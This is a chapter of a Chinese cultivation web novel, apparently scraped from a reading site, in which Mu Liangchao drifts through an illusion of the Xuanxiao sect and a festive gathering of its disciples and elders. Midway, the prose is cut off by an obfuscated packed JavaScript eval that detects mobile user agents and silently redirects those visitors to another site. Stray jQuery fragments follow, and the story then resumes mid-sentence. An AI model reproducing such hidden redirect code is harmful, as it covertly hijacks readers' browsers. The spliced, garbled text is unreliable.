救命……
穆良朝头昏脑胀,像坠入了无尽的深渊,胸口窒闷,身子沉重,整个世界陷入了一片深沉的黑暗,没有一丝光亮。
她努力想睁开眼睛,挣脱黑暗的束缚,可始终徒劳无功,不由得急得满头大汗。
……这是鬼压床了?
越想越惊悚。
天知道,一个意识格外清晰,大脑高速运转的人,无法控制自己的身体,该有多绝望。
求生意识让穆良朝在虚无的黑暗里拼命挣扎着。
不知过了多久,死寂里,忽然隐隐约约传来一声呼唤。
那声音仿佛来自极远的地方,模糊不清。
但就是这微弱的声响,刺激了穆良朝高敏的神经,她立刻停下了所有的挣扎,不禁凝神细听起来。
不是幻觉,那唤声再一次传来,一声接着一声,一声比一声响亮、清晰。
穆良朝屏住了呼吸,心脏“扑通扑通”猛烈地跳动着。
那呼唤声,音色各异,满是欢快,这一声还未消散,更多的唤声又紧接着响起。
他们像是看到她非常惊喜一般,全都簇拥了上来。
穆良朝无助的恐惧渐渐褪去,心逐渐平静下来,取而代之的是深深的失落感。
那刻入骨髓的熟悉感啊,不知为何,穆良朝感觉仿佛已与他们相伴了万载岁月。
“宗主!”
“宗主!”
“宗主!”
……
唤声明媚张扬,青春活泼。
倏地,她睁开了双眼,黑暗渐渐褪去,露出了一丝光亮。
莺啼蝉鸣,微风拂面。
刺目的阳光,叫她适应了黑暗的眼睛止不住地泛酸。
朦胧中,几张大脸闯入了视野。
“宗主,宗主,您快醒醒啊,可快别睡了……”
黑暗里的呼唤,此刻变得清晰可触,世间万物仿佛都将目光汇聚在这一瞬。
那几张凑近的大脸越来越清晰,好一会儿,穆良朝终于恢复视觉,她看得清楚,那是几张从没见过的脸。
头顶郁郁葱葱,几缕阳光从层层叠叠的树叶缝隙透射下来。
穆良朝恍如午睡过了头,浑身发沉提不起劲,喉咙干哑得厉害。
她觉得脸上黏糊糊的,格外难受,随手抹了一把,才惊觉泪水早已淌满了整个脸庞。
“宗主,您现在哭可太晚了,”一少年苦着脸道,“二长老已经将咱峰炸了大半了。”
“宗主,”另一漂亮的小姑娘嘟囔道,“您下次偷二长老酒喝,手脚能不能干净利索一点,每次都被发现……”
“宗主,咱快去赔罪吧,”一人焦灼得脸都要成一个“囧”字了,“再晚一点,咱就只能睡山洞了。”
“你们是……”
穆良朝此刻正躺在一棵大树上,这几个人也攀在树枝上,在她耳边叽叽喳喳个不停。
风来之时,几人身上的天青色衣袍翻飞作响,穆良朝瞬间被其上头绣着的龙所攫住。
阳光下,那龙活灵活现,宛若下一刻便要冲入云霄。
见此,她的瞳孔猛地一缩,呼吸陡然加粗。
天青色龙纹袍……!
她立刻想到玄霄宗——玄德真人口里天下第一大宗。
这次又是幻境吗?
她迅速抬眼望去,先前在幻境中面目模糊的玄霄宗弟子,此刻竟个个眉目分明,真实得触手可及,这变化让她心头微怔。
她颤抖地抬起手,试探性地慢慢朝他们伸去,触碰到他们的身体时,冰冰凉凉,如往常一般,穿过了他们的身体,最终只触到了虚无的空气。
“宗主,快一点,跟上!”
几个弟子纷纷跳下大树,朝南边奔去,跑在最后的那个漂亮的女弟子,回过头来,催促道。
穆良朝跳下树,鬼使神差地跟了上去。
此地山明水秀,灵气充沛,天光云影相映,她恍若置身于仙境。
一路走来,弟子越来越多,或握法器专注修行,或凑在一处谈天,或俯身采集圣露,欢声笑语,宛如一副灵动的仙界图。
弟子们看见“她”,纷纷停下手中动作,眉目疏朗,笑容明媚。
“宗主!”
穆良朝心脏猛地跳动起来,不由得放缓了脚步。
“嘿嘿,宗主……”
她仔细打量着一张张脸,这些弟子五官无比清晰,每一个神态都鲜活生动,真实得她都分不清现实与梦境。
“宗主……”
她慢慢走过,两旁的玄霄宗弟子们,清一色的天青色龙纹袍,嘴角噙着笑意,注视着她一步一步走近,又走远。
他们所有人就这般站在原地,道袍翻飞。
微风掠过,卷起衣摆上的龙纹似要腾跃,却又在触及他们身影时轻轻落下。
明明近在咫尺,穆良朝却觉得他们离她很远很远。
他们最终定格成一幅画,模样恰如口中那声亲昵的“宗主”,带着无需言说的留恋与牵挂。
穆良朝继续向前走去,然而双腿就像灌了铅似的沉重。
身后的景物慢慢褪去颜色,以致彻底消失,与景物溶于一色的弟子们,也接二连三地隐入虚无。
幻境的阳光实在刺眼,穆良朝微红的双眼,又开始酸涩。
周遭的景象又渐渐模糊,她抬手拭去眼角的泪水,可泪水像断了线似的不停落下,视线很快又朦胧一片。
“宗主,快一点跟上!”
前面带路的弟子焦急起来,回头朝她招手催促,最后,竟不再等候,一个劲儿地朝前面奔去,也消失不见。
周遭万物都失了色,逐一崩溃。
穆良朝急了,疾步追去,却连半个人影都寻不到了。
天地间只剩一片茫茫白,她忍不住高声呼喊,踉跄跑了一阵,像在浓雾里失了方向。
就在这时,风忽然吹了起来,远处隐约传来一阵嬉笑打闹的声音。
“挂高一点,高一点,再高一点!”
“啊呀!师姐,你挂歪啦!”
“别忙活了,烤肉熟了,快来,快来!”
“嘶——好烫!”
“混蛋,谁抢了我的金丝鸡翅!”
“哈哈哈师弟,酒再来一坛!”
……
风劲骤强,穆良朝抬袖遮挡,漫天白雾被风卷得四散,天地间的景物也逐渐染上了鲜活的色彩。
欢笑声渐近,她放下衣袖,才惊觉四周已经全然换了一副景象。
月辉晶莹皎洁,水榭阁楼张灯结彩,远处偶尔炸开几簇烟花,映亮夜空。
这座素来仙气缥缈的修仙胜地,多了几分烟火气。
五六堆篝火旁,围满了穿天青色龙纹袍的弟子。
他们或举杯畅饮、大快朵颐,绯红面庞透着雀跃,趁着酒劲儿开怀歌唱,手舞足蹈。
火光映红夜空,地面上人影交错晃动,一派热闹喧腾。
“啊!”几个弟子望向这边,好像突然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962073|185316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发现了她,兴奋地尖叫起来:“是宗主!”
“宗主!您先前去哪儿了?!让我们好找。”
弟子们纷纷递来美酒。
“快来呀,宗主!”他们眼睛闪着亮光,大笑:“还不算太晚,二长老亲手酿的美酒还剩半坛,哈哈哈哈!”
穆良朝呼吸加重,周围弟子的模样是多么的真实。
她不由自主地探出了左手,还未触碰到这些弟子,忽然嘈杂的人声里,传来一声高呼。
“穆衡。”
一声陌生的名字,像一道电流瞬间击中穆良朝,她立刻抬眼望去。
弟子们侧身让开,将身后临湖而建的水榭展露出来。
湖面水波轻漾,粼粼波光里盛满星光,水榭内的大圆桌旁坐着二十多个人,红色灯笼在风中晃动,众人带着不同的神情,一同朝她望来。
这些人修为深不可测,周身气度不凡,一眼便知,这些都是属于玄霄宗长老级别的人物。
那人笑道:“穆衡,今日有好酒好肉,你怎么来得这般迟?可不像你平时的作风啊。”
穆衡?他在叫谁……?
穆良朝身子止不住地颤抖起来,举步,鬼使神差地走向水榭。
“哈哈哈哈,穆衡今日磨磨蹭蹭,怕不是偷老二的酒,又被发现了吧……”
一位老者手抚雪白长须,开口打趣了几句,逗得席间众人与周遭弟子都笑了起来。
一人挤眉弄眼地和身旁的人道:“我说老二啊,你就送她几坛酒吧。”
“可不,”他身旁的人咬牙切齿道,“我酒窖里就差地板砖没被这师徒几个撬走了。”
听到这声音,穆良朝猛然循着声音看去。
只见那人面如冠玉,目若朗星,眉间一粒朱砂痣鲜艳欲滴。
“季……长怀?”
穆良朝失声惊呼,眼中满是难以置信,随即又轻轻摇头否定了自己的猜测。
二人不过是五官有七八分相像,眼前这人气度矜贵,而季长怀身上总带着为生活奔波的风尘,眉宇间笼罩的郁色更是挥之不去。
周围一片欢歌笑语,穆良朝被这气氛所感染,心也跟着放松下来。
忽地,夜风撩起水榭轻纱,露出了坐在最里头的人。
穆良朝呼吸一滞,瞳孔骤然收紧,满是惊色。
师父……?!
那与人勾肩搭背、笑得前仰后合的小老头,不是玄德真人,又是谁?
这还是她第一次看见他肉身的模样。
这就是师父原来的模样吗?慈眉善目,和如今愤世嫉俗、尖酸刻薄的模样,简直判若两人。
穆良朝凭栏观望,心头思绪万千。
忽然一道柔和的女声从远处传来。
“师父、师伯、掌门师姐、师兄,我来晚了。”
一个蓝衣女子拎着一个小壶,面带笑容,步履翩跹走来。
“我带来了百花玉液,最搭烤肉。”
“柔儿,你回来了!”
那个刚刚还在一桩桩、一件件数落着掌门师徒的男人,眼睛骤然迸发出惊人的光亮,倏地站起身,急匆匆迎上前去。
面颊上幸福的绯红,比眉心那点朱砂更耀眼。
“三师叔,我也要!”
“我们也要!”
一大群弟子簇拥上来,笑嘻嘻地伸手讨要。
“都有,都有……”
那蓝衣女子眉眼柔和,笑得温婉动人,竟让身后漫天绚烂的烟火都黯然失色。